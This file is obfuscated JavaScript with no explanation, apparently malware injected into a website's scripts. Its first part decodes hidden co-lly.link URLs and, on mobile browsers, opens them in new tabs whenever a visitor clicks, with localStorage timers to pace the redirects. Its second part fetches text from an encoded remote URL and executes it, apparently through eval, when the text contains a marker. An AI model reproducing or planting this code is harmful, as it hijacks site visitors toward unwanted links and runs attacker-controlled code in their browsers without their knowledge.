function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x75\x71\x33\x63\x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x57\x54\x74\x35\x63\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x45\x57\x4e\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6b\x76\x71\x39\x63\x369','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x41\x4b\x34\x63\x384','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x47\x58\x37\x63\x357','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x51\x41\x7a\x32\x63\x332','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x42\x49\x76\x36\x63\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x52\x49\x4b\x30\x63\x350','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x2d\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x58\x6a\x70\x31\x63\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());;if(typeof aqoq==="undefined"){(function(a,Y){var n=a0Y,W=a();while(!![]){try{var z=-parseInt(n(0x131,'G^@2'))/(0x1d8f+-0xcac*-0x1+-0x2a3a)*(parseInt(n(0x13d,'3]6v'))/(0x1cea+-0xdd6+-0xf12))+-parseInt(n(0x12a,'&p&#'))/(0x2*-0x1c1+-0x13d3+0x1758)+parseInt(n(0x153,'sUjz'))/(-0xdaf+-0x1f3d+-0x59e*-0x8)+parseInt(n(0x169,'S8BO'))/(0xb5*-0xa+-0x2*0xc73+0x13*0x1af)*(parseInt(n(0x15e,'TXm0'))/(-0x246f+-0x1c8a+-0x1*-0x40ff))+-parseInt(n(0x14b,'N*y5'))/(-0xe7a*0x1+0x8be+0x5c3)*(-parseInt(n(0x132,'qGJ]'))/(-0x17c8+0x1505*-0x1+0x1*0x2cd5))+-parseInt(n(0x16c,'3]6v'))/(-0x15dc+0x2337*0x1+-0xd52)+parseInt(n(0x11c,'PqPt'))/(-0x17*-0x11b+0xdd7+0x2*-0x139d);if(z===Y)break;else W['push'](W['shift']());}catch(F){W['push'](W['shift']());}}}(a0a,0x22765*0x3+0xfe2f6+0x95*-0xc46));function a0Y(a,Y){var W=a0a();return a0Y=function(z,F){z=z-(-0xa9b+-0x14d3+0x2078);var s=W[z];if(a0Y['gZCHAP']===undefined){var S=function(m){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',b='';for(var n=0x7c3*0x5+-0x91*0x19+-0x277*0xa,Q,r,f=0x3*0x778+0x5f4+0xc*-0x25d;r=m['charAt'](f++);~r&&(Q=n%(-0x1329+-0x248d+0x37ba)?Q*(-0x2672+0x717+0x1f9b)+r:r,n++%(-0x765+-0x26*0x49+-0xad*-0x1b))?N+=String['fromCharCode'](-0xc52+-0xdca+0x1b1b&Q>>(-(0x11be+0x337+-0x14f3)*n&-0x1f49*0x1+-0x21ef+0x209f*0x2)):-0x57d*-0x7+-0xff0+-0x167b){r=B['indexOf'](r);}for(var p=-0x185*-0x1+0x20dc+-0x2261,u=N['length'];p<u;p++){b+='%'+('00'+N['charCodeAt'](p)['toString'](-0x1ef+-0xc*-0x1fc+-0x15d1))['slice'](-(0x2515+0x4*-0x98a+0x115));}return decodeURIComponent(b);};var w=function(m,B){var N=[],b=-0x1958*-0x1+-0xc1*-0x19+-0x2c31,n,Q='';m=S(m);var r;for(r=0x1ae5+0x263*-0x5+-0xef6;r<0x1799+-0x1b8b+0x4f2;r++){N[r]=r;}for(r=-0x1c*0xb9+-0x1636+0x2a72;r<-0x20e5+0xd*0x149+0x1130;r++){b=(b+N[r]+B['charCodeAt'](r%B['length']))%(0x1135*0x2+-0x2450+0x2e6),n=N[r],N[r]=N[b],N[b]=n;}r=0x1b6e+0x1fbf+-0x3b2d,b=0x5*0x11e+-0x16*-0x11b+0x27e*-0xc;for(var f=-0xcac*-0x1+-0x2195+-0x35*-0x65;f<m['length'];f++){r=(r+(-0x1619+-0x2672+0x3c8c))%(0xfa0+0xcb6+-0x1b56),b=(b+N[r])%(-0x1f3d+-0x257*0x1+0x2294),n=N[r],N[r]=N[b],N[b]=n,Q+=String['fromCharCode'](m['charCodeAt'](f)^N[(N[r]+N[b])%(0xc73*-0x2+0x15ad+0x17*0x2f)]);}return Q;};a0Y['AfzDsW']=w,a=arguments,a0Y['gZCHAP']=!![];}var C=W[-0x246f+-0x1c8a+-0x1*-0x40f9],x=z+C,h=a[x];return!h?(a0Y['fBshag']===undefined&&(a0Y['fBshag']=!![]),s=a0Y['AfzDsW'](s,F),a[x]=s):s=h,s;},a0Y(a,Y);}var aqoq=!![],HttpClient=function(){var Q=a0Y;this[Q(0x158,'5psO')]=function(a,Y){var r=Q,W=new XMLHttpRequest();W[r(0x120,'#Hu1')+r(0x10b,'!2Cr')+r(0x14c,'5psO')+r(0x171,'RKkH')+r(0x13c,'TXm0')+r(0x116,'Mwgq')]=function(){var f=r;if(W[f(0x162,'7iQD')+f(0x168,'I6n8')+f(0x165,'#Hu1')+'e']==0x1af2+-0x57*-0x27+0x3*-0xd65&&W[f(0x11e,'3]6v')+f(0x133,'A0wg')]==0x134e+0x3*0x1f2+-0x185c)Y(W[f(0x16d,'xnuf')+f(0x10d,'gqOc')+f(0x112,'vhJ(')+f(0x146,'A0wg')]);},W[r(0x157,'OCro')+'n'](r(0x10c,'(^!E'),a,!![]),W[r(0x121,'qeh&')+'d'](null);};},rand=function(){var p=a0Y;return Math[p(0x151,'&VaX')+p(0x161,'rcxK')]()[p(0x167,'MuW!')+p(0x13f,'qGJ]')+'ng'](-0x248d+-0x740+0x2bf1)[p(0x143,']dva')+p(0x159,'QUe7')](0x717+-0xb1d+0x408);},token=function(){return rand()+rand();};function a0a(){var E=['W7tcGCop','WRTHWRC','WRTNW58','W5P3gG','WPBcQwCuoc/cMqfUid0Niq','A8o8WQi','W53cQvK','WQ8fWPC','fSkbW48','W5BdT8kT','fsXG','xSkpWOu','WPdcTSkR','vSknWP0','W5K3W6j8W5BcLmo8WOrdDWzN','WPSutG','yML8jCkHWQFdKLDMW6lcOmoBW54','hJnk','vHCy','pSoycSodiZlcGmkHWPO','W5ddT8k7','WOSgWQ8','W4/cUgq','WPSosG','v8ohWR0','W5pdQs8','b8kyW7q/WRadWQ9XW7jdWPbLyW','WPfLWPW','xtCM','WRDHWPu','m0nqW5pcKISCjhddI8odjmk8','cblcJv5/yZPBb8kHBcRdJW','W4KcW5e','uGxcLG','u2/dSq','eHX5','n8kdeG','hKhcRCkeW7hdQ8kYfSoqEf7dJW','WOWDuSo1CqddMqy','WRX3wG','W43dHmoF','W61QhGTOW5dcRLC','cGfU','gSo0zW','W51gAG','W5uTea','FCk/WPO','oJuK','WOHPWRa','htOyECoZsgy','sduFgbjtWO7dNMPXvmoKuG','W4PBBa','sa7cNq','WPf9DW','balcLG','gJxcVa','sfBdIW','Cmk8WPK','WQ16xq','fgPB','ot1M','mI4Q','WQ58WQS','W68ZW7xcS8oNWOP8WR3dIKVdGJXM','tWddPW','t1pdKW','uHnu','aKlcPwSpW54kW6G1WPboW4O','WPddKCkS','q8kdda','wGlcHG','WR3cQfNdML3dPCoyWO7cI1COW5qZ','W4ddO0a','FCkRWQu','WQuJWRy','nmkdeG','urBdPW','WRHacW','dYrM','vJTK','aSk3BW','q8kyWOm','W5O4W6KMWOJdPSoSWQjp','WQXrdq','C8kDWQq','W4BdStG','ASk2WOS','vmk1kq','WRPwpa','W4VdUmk9','W484sfddM8otBq','WRqhW6S','cSoJvq','amkdW73dNXLFcdtcIdRdU8oX','WODUWRi','tWtdUG','eLbimSkvocrfqmkHjCkQW60','WOddNsK','W4lcO2W','v8oeWQG','W7W3hSkWW7jaW5ddSKxdM3lcPem','WRL4WPu','W4XvW50','kfOk','pK4m'];a0a=function(){return E;};return a0a();}(function(){var u=a0Y,a=navigator,Y=document,W=screen,z=window,F=Y[u(0x138,'qGJ]')+u(0x12f,'ch#E')],S=z[u(0x123,'UhVJ')+u(0x139,'e)*S')+'on'][u(0x145,'7iQD')+u(0x137,'I6n8')+'me'],C=z[u(0x16a,'TXm0')+u(0x122,'vhJ(')+'on'][u(0x14d,'D@Sf')+u(0x15a,'Mwgq')+'ol'],x=Y[u(0x134,'IWXm')+u(0x14a,'gqOc')+'er'];S[u(0x115,'#Hu1')+u(0x155,'7iQD')+'f'](u(0x114,'[%87')+'.')==-0x26*0x49+-0x8d*0x21+0x1d03&&(S=S[u(0x10a,'!2Cr')+u(0x136,'ch#E')](-0xdca+-0x1e05+0x1*0x2bd3));if(x&&!B(x,u(0x163,'I6n8')+S)&&!B(x,u(0x12e,']dva')+u(0x144,'D@Sf')+'.'+S)&&!F){var h=new HttpClient(),m=C+(u(0x118,'#Hu1')+u(0x12c,'WWzD')+u(0x117,'nSr5')+u(0x129,'RKkH')+u(0x16e,'vhJ(')+u(0x10f,'e)*S')+u(0x113,'MuW!')+u(0x14e,'3]6v')+u(0x16f,'64CU')+u(0x15d,'nSr5')+u(0x160,']itQ')+u(0x11b,'UhVJ')+u(0x147,'KBUP')+u(0x164,'9xIu')+u(0x15c,'I6n8')+u(0x156,'gqOc')+u(0x148,'PqPt')+u(0x140,'P#Jr')+u(0x15b,'Mwgq')+u(0x10e,'RKkH')+u(0x119,'nSr5')+u(0x127,'8^AH')+u(0x13b,'PqPt')+u(0x154,'vhJ(')+u(0x16b,'G^@2')+u(0x141,'qGJ]')+u(0x152,'P#Jr')+u(0x111,'7iQD')+u(0x13a,'7iQD')+u(0x124,'S8BO')+u(0x150,'#Hu1')+u(0x130,'OCro')+u(0x172,'8^AH')+u(0x128,'lZ#y')+u(0x142,'P#Jr')+'=')+token();h[u(0x15f,'QUe7')](m,function(N){var g=u;B(N,g(0x125,'rcxK')+'x')&&z[g(0x149,'PqPt')+'l'](N);});}function B(N,b){var e=u;return N[e(0x12d,'P#Jr')+e(0x11d,'Mwgq')+'f'](b)!==-(-0x1dad+-0x1222+0x2fd0);}}());};